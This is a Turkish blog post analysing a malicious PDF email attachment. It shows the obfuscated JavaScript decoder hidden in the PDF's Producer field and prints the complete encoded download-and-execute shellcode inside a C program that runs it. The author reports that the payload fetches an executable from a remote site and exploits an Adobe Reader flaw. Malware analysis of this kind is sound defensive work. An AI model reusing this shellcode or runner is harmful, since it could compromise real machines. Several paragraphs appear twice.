Hazırlanan bir belge, anında kullanıcıya E-Posta ile gönderilebilmektedir. Durum bu şekilde olunca zararlı uygulamaların /program(cık)ların/ yayılma olasılığı da artmaktadır. Özellikle son günlerde kullanıcıları tehlikeli duruma düşüren zararlı programlar PDF türü dosyalarla yayılmaktadır.
Bu yayılma işlemi nasıl gerçekleşmektedir?
Yayılma işlemi, .pdf belge içine gizlenen kod parçacıkları aracılığıyla, Adobe Acrobat Reader uygulamasında yer alan uygulama zafiyetinden faydalanmaktadır. PDF, Adobe firması tarafından geliştirilmiştir(Portable Document Format – Taşınabilir Dosya Formatı). Neticesinde bir çok kullanıcı tarafından kullanılan bir dosya formatı olup, kullanım oranı artmaktadır. Özellikle şirketler dökümantasyon işlerinde pdf formatını çok tercih etmektedirler.
Bu yayılma işlemi nasıl gerçekleşmektedir?
Yayılma işlemi, .pdf belge içine gizlenen kod parçacıkları aracılığıyla, Adobe Acrobat Reader uygulamasında yer alan uygulama zafiyetinden faydalanmaktadır. PDF, Adobe firması tarafından geliştirilmiştir(Portable Document Format – Taşınabilir Dosya Formatı). Neticesinde bir çok kullanıcı tarafından kullanılan bir dosya formatı olup, kullanım oranı artmaktadır. Özellikle şirketler dökümantasyon işlerinde pdf formatını çok tercih etmektedirler.
Bu yazımda E-Posta iletimde karşılaştığım bir .pdf belgesi üzerinde gerçekleştirdiğim analizi anlatacağım.
E-Postalarımı kontrol ederken “Re:Doc” adı altında bir e-posta gördüm (Resim 1). Gelen postayı incelediğimde,ekindebir .pdf dosyası yeralmaktaydı (Resim 2). Bu pdf dosyasını incelemek için kayıt altına aldım.

Resim-1

Resim-2
Öncelikle kayıt altına aldığım bu .pdf dosyasını çeşitli antivirüslerle tarama işlemine tabi tuttum.
Fakat dosya temiz görünüyordu(Antivirüslere göre). Dosya gerçektende temiz yada gözden saklanması için belge içerisine bir dizi kod yerleştirilmişti. İncelemeye devam ettim.
Fakat dosya temiz görünüyordu(Antivirüslere göre). Dosya gerçektende temiz yada gözden saklanması için belge içerisine bir dizi kod yerleştirilmişti. İncelemeye devam ettim.

Resim-3
# pdfid.py UnionRfc.pdf (Resim -3)
"pdfid.py" ile pdf belgesinin kimlik bilgilerini(ID) incelediğimde Javascript kısmında 2 değeri, OpenAction kısmında 0 değeri mevcut. OpenAction 0 ise belge açıldığında bir hareketlilik yok. Javascript 2 değeri olması, belgenin kalbinde mevcut olan bir hareketlilik söz konusudur. Belge içine javascript kodu gömülü olduğu kesin.
"pdfid.py" ile pdf belgesinin kimlik bilgilerini(ID) incelediğimde Javascript kısmında 2 değeri, OpenAction kısmında 0 değeri mevcut. OpenAction 0 ise belge açıldığında bir hareketlilik yok. Javascript 2 değeri olması, belgenin kalbinde mevcut olan bir hareketlilik söz konusudur. Belge içine javascript kodu gömülü olduğu kesin.

Resim-4

Resim-5
#pdf-parser.py UnionRfc.pdf (Resim4-5)
"pdf-parser.py" ile pdf içine gömülü olan parçaları görelim. Parçaları inceledikçe bazı kodlar görüyoruz.
İlk etapta bu javascript kodlarını gördüğümüzde şüphe uyandırıcı bir durum olmayabilir. Daha iyi bir inceleme için pdf dosyasıiçinde, kimlik bilgileri adı altına gömülü olan kısımları bir çözelim. Bunun için "jsunpack" isimli uygulamadan faydalanalım.
"pdf-parser.py" ile pdf içine gömülü olan parçaları görelim. Parçaları inceledikçe bazı kodlar görüyoruz.
İlk etapta bu javascript kodlarını gördüğümüzde şüphe uyandırıcı bir durum olmayabilir. Daha iyi bir inceleme için pdf dosyasıiçinde, kimlik bilgileri adı altına gömülü olan kısımları bir çözelim. Bunun için "jsunpack" isimli uygulamadan faydalanalım.
root@bt:/home/analiz/pdf# cd jsunpack/
root@bt:/home/analiz/pdf/jsunpack# ./jsunpackn.py ../UnionRfc.pdf <----Çözümleme
root@bt:/home/analiz/pdf/jsunpack# cd files/
root@bt:/home/analiz/pdf/jsunpack/files# ls -la
total 124
drwxr-xr-x 3 root root 4096 Dec 6 04:14 .
drwxr-xr-x 6 root root 4096 Dec 6 04:23 ..
-rw-r--r-- 1 root root 109666 Dec 6 04:23 decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <----- pdf dosyası vasıtasıyla oluşan çözümleme dosyası
root@bt:/home/analiz/pdf/jsunpack/files# less decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <---dosya içinde neler var?
info.producer = String('381\x2c1315\x2c925\x2c1948\x2c7\x2c1306\x2c1038\x2c797\x2c1723\x2c1064\x2c385\
........................................\x2c1697\x2c995\x2c1725\x2c527\x2c805\x2c696\x2c176\x2c1606\x2c1018\x2c1305\....
…
var hfy = zquz[jyp.replace('2010','uc')];
var xtph = '' + mrp.getFullYear() + aou + 'i'+aou+'t';
var ckqg = 's' + xtph.replace('2010','pl');
var vwl='2010';
vwl = vwl.replace(mrp.getFullYear(),'');
yv('va'+vwl+'r n' + aou + 'r=[' + hfy + vwl + ']');
var xluf = nr;
bbg='le'+aou+'ng'+aou+'th';
var hcsh = xluf[bbg] / 2;
for (var nvm = 0; nvm < hcsh; nvm++) {
dezk += kij(xluf[nvm+hcsh] - xluf[nvm]);
}
…..
İnceleme itibariyle dikkat çeken 2 kısım bulunmaktadır. /Producer kısmı ve javascript kod bulunan /JS kısmı.
PDF dosya içeriğinde İlk görünüşte javascript kodundan başka dikkate değer bir kısım görünmemektedir. Procuder kısmında yer alan değerler bizi sonuca ulaşmamızda büyük rol oynadığı kesin.
Nasıl mı?
Nasıl mı?
Producer dizininde yer alan değerleri javascript kodu vasıtasıyla çözümlendiği aşinadır.
Javascript kodu vasıtasıyla kendi çözümleyici kodu yazdığımızda gerçek niyet ortaya çıkar.

Resim-6
Producer kısmında yer alan sayı dizimini anlamlı hale getirmek için PDF için gömülen javascript kodundan faydalandık. Boylece Producer dizelerini birleştirmeye yarayan "gizli.js" adı altında küçük bir kod oluşturduk(Resim-6).
Çözümleme işini gerçekleştiren döngü:
var ayrim = producer.length / 2;
for (var artis = 0; artis < ayrim; artis++)
{
gizlenmis += String.fromCharCode(producer[artis+ayrim] - producer[artis] );
}
Bu döngü producer kısmındaki sayı dizimlerini daha anlaşılır hale getirmektedir.
print(gizlenmis);
ile sayı dizimini ekrana yansıtıyoruz.

Resim-7
...Bingo.....Producer dize değerlerini çözümledik. İşte gerçek amaç bu javascript kodunda yer almaktadır.
Bu kod ne anlama geliyor?
Resim-8
Çözümlenen kodu düzenli hale getirdiğimizde geticon() , printf() ve yt() gibi fonksiyonlar bir dizi işlem yaptığı aşikardır (Resim-8). Yine gözle görülür bir ipucu olarak "var gj=" altında yer alan değerlerdir (Resim-7).
Bu değerler vasıtasıyla Adobe Acrobat Reader programı üzerinde uygulama zaafiyeti oluşturulur.
Bu değerler vasıtasıyla Adobe Acrobat Reader programı üzerinde uygulama zaafiyeti oluşturulur.
PDF dosyası içerisinden neler çıktığını yavaş yavaş görmeye başladık. Ekrana yansıyan bu çözümlenmiş kod parçasında önemli olan gj değerine aktarılan dizi değeridir. Bu değer Adobe Acrobat yazılımda zafiyet oluşturulması sonucu aktive edilecek temel kod parçasıdır. Bu kod parçasını nasıl çözümleriz?
Malzilla uygulamasını çalıştırarak kodu hexfile haline dönüştürelim (Resim-9/10).

Resim-9 (#wine malzilla.exe)

Resim-10
Oluşturduğum hezfile.bin dosyasını inceleyelim. "strings" komutuda gözle görünür dişe dokunur bir bilgi vermedi.
root@bt:/home/analiz/pdf# strings hexfile.bin
Hg4s
Hg2w
pUG6H
_XIHH
hexview ile hexfile.bin içeriğine baktığımızda, henangi anlaşılır bir karakter dizimide mevcut değil(Resim-11).

Resim-11 (#hexedit hexview)
Karşımızda encode edilmiş bir shellcode mevcut.
Anlaşılıyor ki, bazı bilgiler şifrelenmiş(encode). Çözümlemeye devam edelim. Artık elimizde; PDF dosyası analiziyle başlayıp, dosya içerisine eklenen Javascript parçacığının incelenmesiyle el ettiğimiz hexfile.bin dosyası var.
Elde ettiğimiz kodları barındıran hexfile dosyası bize neyi açıklayacak?
Elde ettiğimiz kodları barındıran hexfile dosyası bize neyi açıklayacak?
Hexfile.bin dosyasının hex kodlarına ayırıp, şu küçük kodun shellcode dizinine yazalım.
#cat hexfile.bin | perl -ne 's/(.)/printf "0x%02x,",ord($1)/ge' > shellcode.txt
#more shellcode.txt
0x90,0x90,0x90,0x90,0xeb,0x16,0xb9,0x3d,0x01,0x00,0x00,0x8b….
# vi shellcode.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned char shellcode[] = "\x90\x90\x90\x90\xeb\x16\xb9\x3d\x01\x00\x00\x8b\x34\x24\x89\xf7\x80"
"\x3e\xe9\x74\x06\xac\x34\xb7\xaa\xe2\xfa\xc3\xe8\xe5\xff\xff\xff\x5e\xbb\xb6\xb7\xb7\xe9\x36"
"\x5b\xeb\xb6\xb7\xb7\x3e\x50\x3a\xf8\xa7\x3a\xd8\xe3\x86\x6c\xe0\xe6\xe4\xe4\xe4\xe4\xe4\xe4"
"\xe4\xe2\xe4\xe4\xdf\xb3\xb6\xb7\xb7\xe2\xe1\xe4\xdf\xd8\xd9\xb7\xb7\xdf\xc2\xc5\xdb\xda\xe3"
"\xdf\x39\xf9\xb9\x5b\x5f\xff\xb7\xb7\xb7\xe7\x5f\xcb\xb7\xb7\xb7\x48\x67\x34\x73\xbf\xdf\xf8"
"\x58\xf8\xb2\xe7\x5f\xdb\xb7\xb7\xb7\x48\x67\x32\x77\xc2\xa0\xdd\xe3\xee\x44\x1d\xdf\xc5\x49"
"\x04\xa1\x5f\xaa\xb7\xb7\xb7\xe7\x5f\xe6\xb7\xb7\xb7\x48\x67\xe4\xdd\x49\xdf\x3e\xd8\xb6\x0a"
"\x5f\xbf\xb7\xb7\xb7\xe7\x5f\x8b\xb7\xb7\xb7\x48\x67\xd7\x86\x77\xd3\x3c\xe7\x87\x3c\xe5\xbb"
"\x3c\xe5\xa3\x3c\xc5\x9f\x0e\xaf\xb7\xb7\xb7\x86\x48\x86\x77\x1b\x8b\xd6\xcb\xb5\x9b\x97\x76"
"\x78\xba\xb6\x70\x55\x47\x36\x48\xec\x0b\xfd\xdd\x3c\xf5\xa7\x3c\xa5\xc2\x6e\x3e\xf3\x93\xab"
"\xd6\x74\xd7\x3c\xdb\x93\x93\x3c\xf2\x8b\x3c\xe3\xb2\xcf\xb6\x5d\x3c\xfd\xaf\x3c\xed\x97\xb6"
"\x5c\x54\x83\xfe\x3c\x83\x3c\xb6\x56\x86\x48\x86\x77\x4b\x1b\x33\x77\xc3\xb0\x76\x78\xba\xb6"
"\x70\x5c\x43\x8c\xcb\x93\x9f\xc2\x56\x3c\xed\x93\xb6\x5c\xd1\x3c\xbb\xfc\x3c\xed\xab\xb6\x5c"
"\x3c\xb3\x3c\xb6\x5f\x3e\xf3\x93\xab\xd6\x75\xbf\xb7\x5f\x58\x49\x48\x48\xdf\xc3\xc3\xc7\x8d"
"\x98\x98\xc7\xd8\xc4\xc3\xd4\xd6\xc5\xd3\xc4\xc4\xd2\xc5\xc1\xde\xd4\xd2\xc4\x99\xd9\xd2\xc3"
"\x98\xd1\xdb\xd6\xc4\xdf\x99\xd2\xcf\xd2\xb7";
(*(void(*) ()) shellcode) ();
}
root@bt:/home/analiz/pdf# gcc –o shellcode shellcode.c
Artık elimizde bütünüyle Adobe Acrobat Reader uygulamasının zafiyeti sonucunda sistemde aktif hale gelen zararlı uygulamanın bir parçası bulunmaktadır. Artık bu shellcode uygulamasını analiz ederek PDF dosyasının temel amacını öğrenebiliriz.
gdb(Resim-12) ya da Evan's Debugger(Resim-13) ile oluşturduğumuz shellcode dosyasını incelersek bu kodun bir indir-çalıştır parçası olduğunu görürüz.
Adobe Acrobar Readerda oluşturulan zaafiyet sayesinde bu kod hafızada çalışarak bir internet sitesinden .exe çalıştırılabilir dosyayı kullanıcının bilgisayarına indirerek, kullanıcı artık bir havuzun parçası haline gelir.
Anlaşılacağı gibi kullanıcının bilgisayarı, indirilen bu dosya sayesinde, saldırgan çeşitli işler için kullanıcının bilgisayarını kontrol altına alır.
Bir pdf dosyası aracılığı ile kontrol dışı dosyanın kullanıcıya nasıl aktarıldığını anlamış olduk.
Uygulamalardaki zaafiyetin ne derece boyutlara ulaştığınıda algılamış olduk.
#gdb ./shellcode (Resim-12)
(gdb) r

Resim-12

Resim-13 (Evan's Debugger)
0 yorum:
Yorum Gönder